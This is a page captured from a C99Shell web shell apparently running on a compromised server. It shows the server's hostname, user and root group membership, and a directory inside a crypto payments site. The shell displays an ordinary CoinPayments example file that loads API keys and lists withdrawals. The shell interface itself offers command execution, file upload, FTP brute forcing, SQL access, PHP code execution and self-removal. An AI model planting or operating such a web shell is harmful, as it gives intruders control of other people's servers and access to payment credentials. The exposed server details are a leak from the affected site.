!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     withdrawal_history.php (1.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Retrieve a history of withdrawals.  **/

// Create a new API wrapper instance
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');

// Attempt the withdrawal history API call for the 10 most recent withdrawals.
try {
    
$withdrawal_history $cps_api->GetWithdrawalHistory(1000);
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}

// Check the result of the API call and generate a result output
if ($withdrawal_history["error"] == "ok") {
    
$output '<table><tbody><tr><td>Withdrawal ID</td><td>Coin</td><td>Amount (Satoshis)</td><td>Status</td></tr>';
    foreach (
$withdrawal_history['result'] as $single_withdrawal) {
        
$withdrawal_id $single_withdrawal['id'];
        
$withdrawal_coin $single_withdrawal['coin'];
        
$withdrawal_amount $single_withdrawal['amount'];
        
$withdrawal_status $single_withdrawal['status_text'];
        
$output .= '<tr><td>' $withdrawal_id '</td><td>' $withdrawal_coin '</td><td>' $withdrawal_amount '</td><td>' $withdrawal_status '</td></tr>';
    }
    
$output .= '</tbody></table>';
    echo 
$output;
} else {
    echo 
$withdrawal_history["error"];
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--